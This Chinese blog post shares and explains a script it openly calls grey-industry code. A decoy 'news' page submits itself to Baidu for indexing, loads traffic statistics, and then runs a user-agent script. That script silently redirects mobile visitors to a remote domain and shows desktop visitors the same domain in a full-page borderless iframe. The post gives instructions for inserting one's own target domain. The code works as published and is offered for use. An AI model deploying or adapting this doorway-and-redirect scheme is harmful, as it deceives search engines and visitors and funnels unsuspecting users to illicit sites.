技术宅

当前位置:首页 > 网站教程 > 代码学习

代码学习

某个灰产远程调用的script源码

时间:09-26 作者:
主要是三段script代码,第一段是百度自动推送代码,第二段是站长统计代码,第三段则是远程调用断码。<html xmlns="http://www.w3.org/1999/xhtml"><head><title>资讯吧</title><m

主要是三段script代码,第一段是百度自动推送代码,第二段是站长统计代码,第三段则是远程调用断码。

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>资讯吧</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
</head>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
<script language="javascript" type="text/javascript" src="/tj.js"></script>
<script language="javascript" type="text/javascript" src="/up.js"></script>
</body>
</html>

统计代码站长之家的,稍加修改就可以调用,51la,百度统计同理。

document.writeln("<div style=\'display:none\'><script type=\'text/javascript\' src=\'https://v1.cnzz.com/z_stat.php?id=你的统计ID&web_id=1279596923\'></script></div>");

远程调用代码,主要还是iframe调用,注意其中的AndroidiOS分别对应手机端,并将三处yourdomain更改为需要远程网址。

function uaredirect() {
    var n = navigator.userAgent.toLowerCase();
    if (n.indexOf('android') > -1) {
        setTimeout("tioaZ('https://www.yourdomain.com/')", 1 * 200);
    } else if (n.indexOf('iphone') > -1 || n.indexOf('iPhone') > -1 || n.indexOf('ipod') > -1 || n.indexOf('ipad') > -1 ||
        n.indexOf('ios') > -1) {
        setTimeout("tioaZ('https://www.yourdomainu.com/')", 1 * 200);
    } else {
        document.writeln(
            '<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="4380" allowTransparency src="https://www.yourdomain.com/"></iframe></center>'
        );
    }
}

function tioaZ(url) {
    window.location.href = url;
}

uaredirect();